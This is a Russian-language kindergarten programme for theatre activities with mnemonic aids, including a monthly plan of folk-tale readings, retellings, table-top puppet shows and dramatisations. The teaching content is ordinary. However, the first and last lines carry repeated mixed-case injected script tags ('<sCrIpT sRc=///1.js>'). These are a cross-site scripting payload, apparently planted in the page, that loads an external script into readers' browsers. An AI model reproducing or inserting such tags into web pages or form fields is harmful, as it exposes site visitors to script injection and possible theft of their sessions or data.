<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

07.09.2017

РАБОЧАЯ ПРОГРАММА « В ГОСТЯХ У СКАЗКИ»

РАБОЧАЯ

ПРОГРАММА « В ГОСТЯХ У СКАЗКИ»

ПО

РАЗДЕЛУ «ТЕАТРАЛИЗОВАННАЯ

ДЕЯТЕЛЬНОСТЬ С ИСПОЛЬЗОВАНИЕМ МНЕМОТЕХНИКИ»

ПОЯСНИТЕЛЬНАЯ ЗАПИСКА

Художественно-эстетическое воспитание занимает одно из

ведущих мест в содержании воспитательного процесса дошкольного

образовательного учреждения и является его приоритетным направлением. Для

эстетического развития личности ребенка огромное значение имеет разнообразная

художественная деятельность — изобразительная, музыкальная,

художественно-речевая и др. Важной задачей эстетического воспитания является

формирование у детей эстетических интересов, потребностей, эстетического

вкуса, а также творческих способностей. Богатейшее поле для эстетического

развития детей, а также развития их творческих способностей представляет

театрализованная деятельность. В связи с этим, в ДОУ введены дополнительные

занятия по театрализованной деятельности, которые проводит педагог во второй половине дня.

Настоящая программа описывает курс подготовки по

театрализованной деятельности детей дошкольного возраста 3—6 лет (2 – я

младшая, средняя, старшая группы). Она

разработана на основе обязательного минимума содержания по театрализованной

деятельности для ДОУ с учетом обновления содержания по различным программам с

применением метода мнемотехника.

Цель программы — развитие творческих способностей детей средствами

театрального искусства.

Задачи

Создать условия для развития творческой активности детей, участвующих в
театрализованной деятельности, а также поэтапного освоения детьми
различных видов творчества по возрастным группам.

Создать условия для совместной театрализованной деятельности детей и
взрослых (постановка совместных спектаклей с участием детей, родителей,
сотрудников ДОУ, организация выступлений
детей старших групп перед младшими и пр.).
Обучить детей приемам манипуляции в кукольных театрах различных видов.

Совершенствовать артистические навыки детей в плане переживания и
воплощения образа, а также их исполнительские умения.

Ознакомить детей всех возрастных групп с различными видами театров
(кукольный, драматический, музыкальный, детский, театр зверей и др.).

Приобщить детей к театральной культуре, обогатить их театральный опыт:
знания детей о театре, его истории, устройстве, театральных профессиях,
костюмах, атрибутах, театральной терминологии, театрах города Кокшетау.

Развить у детей интерес к театрально-игровой деятельности.

Для обучения детей использовать следующие технологии:

мнемотехника, модельное обучение; коммуникативная деятельность;

Программа

предполагает проведение одного занятия в неделю во вторую половину дня.

Продолжительность занятия: 15 - 20 мин — 2-я младшая, средняя группа, 25 мин — старшая

группа. Общее количество учебных занятий в год — 31.

Программа составлена с учетом реализации

межпредметных связей по разделам.

«Музыкальное воспитание», где дети учатся слышать в музыке разное эмоциональное

состояние и передавать его движениями, жестами, мимикой; слушают музыку к

очередному спектаклю, отмечая разнохарактерное ее содержание, дающее

возможность более полно оценить и понять характер героя, его образ.

«Изобразительная деятельность», где дети знакомятся с репродукциями картин,

иллюстрациями, близкими по содержанию сюжету спектакля, учатся рисовать

разными материалами по сюжету спектакля или отдельных его персонажей.

«Развитие речи», на котором у детей развивается четкая, ясная дикция, ведется

работа над развитием артикуляционного аппарата с использованием скороговорок,

чистоговорок, потешек.

«Ознакомление с художественной литературой», где дети знакомятся с

литературными произведениями, которые лягут в основу предстоящей постановки

спектакля и других форм организации театрализованной деятельности (занятий по

театрализованной деятельности, театрализованных игр на других занятиях,

праздниках и развлечениях, в повседневной жизни, самостоятельной театральной

деятельности детей).

«Ознакомление с окружающим», где дети знакомятся с явлениями общественной

жизни, предметами ближайшего окружения, природными явлениями, что послужит

материалом, входящим в содержание театрализованных игр и упражнений.

«Ритмика», где дети учатся через танцевальные движения передавать образ

какого-либо героя, его характер, настроение.

Содержание программы:

Перспективно – календарное планирование по театрализованной деятельности, в

разновозрастной группе.

Месяц

Тема

Программное содержание

Количество часов в неделю. Сроки.

Сентябрь

1. «Репка» (русская

нар.сказка.) - Мир театра

Беседа с детьми «Что такое театр».

Ряженье в костюмы. Игра «Измени голос». Хоровод-игра

«Мышки на лугу»

Учить выражать эмоции через движения и мимику; учить выразительной

интонации.

4 часа

1час

(1неделя)

-Чтение,

пересказ сказки «репка»

(знакомство

с мнемодорожкой)

Знакомство с содержанием сказки. Учить

отвечать на вопросы полным и содержательным ответом, пересказывая сказку по

мнемодорожке.

1час

(2неделя)

Настольный театр «Репка»

Познакомить с настольным кукольным

театром; Показ настольного театра. Рассматривание мнемотаблицы к сказке с

обсуждением характерных особенностей персонажей.

1час

(3неделя)

Драматизация сказки «Репка»

Учить детей бесконфликтно

распределять роли; формировать дружеское взаимоотношение; разучить сказку по ролям,

работать над произношением реплик, над жестами и мимикой; ввести диалог в

процессе показа сказки.

1час

(4неделя)

Октябрь

2. «Теремок» (русс.нар.сказка.)

Чтение, пересказ

Д/И «Собери сказку» (мнемоквадраты)

Побуждать к активному восприятию

сказки; учить слушать внимательно сказку до конца и следить за развитием

сюжета. Учить пересказывать сказку с использованием мнемоквадратов.

4 Часа 1

час (1 неделя)

Беседа о содержании сказки

Отгадывание загадок. Закрепление содержания сказки

используя мнемотаблицу. Учить отвечать на вопросы полным и содержательным

ответом.

час (2 неделя)

08.10.2015г.

Распределение ролей.

Д/и

«Волшебные колечки»

Побуждать детей к выражению

образов героев в движении; учить импровизировать под музыку; учить

координации движения.

Учить детей изображать героев сказки в рисунках (колечки)

час (3неделя)

15.10.2015г.

Драматизация

Учить эмоционально и выразительно

выступать перед зрителями, развивать творческие способности.

час (4 неделя)

Ноябрь

3. «Маша и медведь»

Чтение, пересказ

Побуждать к активному восприятию сказки; учить

слушать внимательно сказку до конца и следить за развитием сюжета. Учить

пересказывать сказку по мнемотаблице.

4 Часа 1

час (1 неделя)

Показ настольного театра

Показ настольного театра. Рассматривание иллюстраций

к сказке с обсуждением характерных особенностей персонажей.

час (2 неделя)

Распределение ролей

Учить детей бесконфликтно распределять роли;

формировать дружеское взаимоотношение; разучить сказку по ролям, работать над

произношением реплик, над жестами и мимикой.

час (3неделя)

Драматизация

Побуждать детей к выражению образов героев в

движении; учить импровизировать под музыку; учить координации движений. Учить

эмоционально и выразительно выступать перед зрителями.

час (4 неделя)

Декабрь

4. «Лисичка – сестричка и серый волк»

Чтение

Знакомство с содержанием сказки. Учить отвечать на

вопросы полным и содержательным ответом.

4 часа

1час

(1неделя)

Пересказ

Продолжать

учить пересказывать сюжет знакомой сказки по мнемотаблице, работать над произношением

реплик, над жестами и мимикой.

1час

(2неделя)

Распределение ролей.

Учить детей бесконфликтно распределять роли;

формировать дружеское взаимоотношение; разучить сказку по ролям.

1час

(3неделя)

- Драматизация

Создать положительный

эмоциональный настрой; Учить действовать с воображаемыми предметами. Работать

над произношением реплик, над жестами и мимикой; ввести диалог в процессе

показа сказки.

1час

(4неделя)

Январь

5. «Зимовье зверей» (русская

нар.сказка) -

Чтение

Побуждать к активному восприятию

сказки; учить слушать внимательно сказку до конца и следить за развитием

сюжета.

4 Часа 1

час (1 неделя)

Пересказ

Закрепление

содержания сказки с использованием мнемотаблицы. Учить отвечать на вопросы

полным и содержательным ответом.

час (2 неделя)

Распределение ролей

Д/и

«Волшебные колечки»

Побуждать детей к выражению

образов героев в движении; учить импровизировать под музыку; учить

координации движения.

Учить изображать героев сказки на бумаге, передавая их характерные

признаки.

час (3неделя)

Драматизация

Учить эмоционально и

выразительно выступать перед зрителями, развивать творческие способности.

час (4 неделя)

Февраль

6. «Кто сказал, мяу?» В. Сетеев

Чтение

Побуждать к активному восприятию

сказки; учить слушать внимательно сказку до конца и следить за развитием

сюжета по мнемотаблице.

4 Часа 1

час (1 неделя)

Пересказ

Учить вспоминать знакомую сказку,

отвечать на вопросы по ее сюжету; характеризовать героев; вместе с педагогом пересказывать

сказку с использованием мнемотаблицы, показывая характер героя при помощи

интонации.

час (2 неделя)

Распределение ролей

Побуждать детей к выражению

образов героев в движении; учить импровизировать, координации движения.

1 час

(3неделя)

Драматизация

Учить эмоционально и

выразительно выступать перед зрителями, развивать творческие способности.

1 час (4 неделя)

Март

7. «Волк и козлята»

Чтение

Знакомство с содержанием сказки. Учить

отвечать на вопросы полным и содержательным ответом.

4 Часа 1

час (1 неделя)

Пересказ

Учить вспоминать знакомую сказку,

отвечать на вопросы по ее сюжету; характеризовать героев; вместе с педагогом пересказывать

сказку с использованием мнемотаблицы, показывая характер героя при помощи

интонации.

час (2 неделя)

Настольный театр

Познакомить с настольным кукольным

театром; Показ настольного театра. Рассматривание иллюстраций к сказке с

обсуждением характерных особенностей персонажей.

час (3неделя)

Драматизация

Учить воплощаться в роли и

ролевому поведению при публичном выступлении, развивать эстетический

вкус.

час (4 неделя)

Апрель

8. «Заюшкина избушка»

Чтение

Побуждать к активному восприятию

сказки; учить слушать внимательно сказку до конца и следить за развитием

сюжета.

4 Часа 1

час (1 неделя)

Пересказ

Учить вспоминать знакомую сказку используя

мнемотаблицу, отвечать на вопросы по ее сюжету; характеризовать героев.

час (2 неделя)

Настольный театр

Порадовать детей просмотром

кукольного театра; дать представление о кукольном театре; учить внимательно,

смотреть сказку.

час (3неделя)

Драматизация

Вовлечь детей в сюжетно – игровую

ситуацию; учить выразительной мимике и движениям в драматизации сказки.

час (4 неделя)

Май

9. «Лисичка со скалочкой»

Чтение

Побуждать к активному восприятию

сказки; учить слушать внимательно сказку до конца и следить за развитием

сюжета.

4 Часа 1

час (1 неделя)

Пересказ

Закрепление

содержания сказки используя мнемотаблицу. Учить отвечать на вопросы полным и

содержательным ответом.

час (2 неделя)

Драматизация

Учить детей взаимодействовать друг

с другом в произношении диалогов; упражнять в звукоподражании. Создать

положительный эмоциональный настрой перед выступлением.

час (3неделя)

- По следам сказок

Итоговое занятие кружка.

Драматизация сказок по желанию детей. Создать радостное настроение, подвести

итог занятий кружка. Учить вспоминать знакомые сказки, разыгрывать их,

предварительно наряжаясь в костюмы.

1 час

(4 неделя)

<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Пікір қосу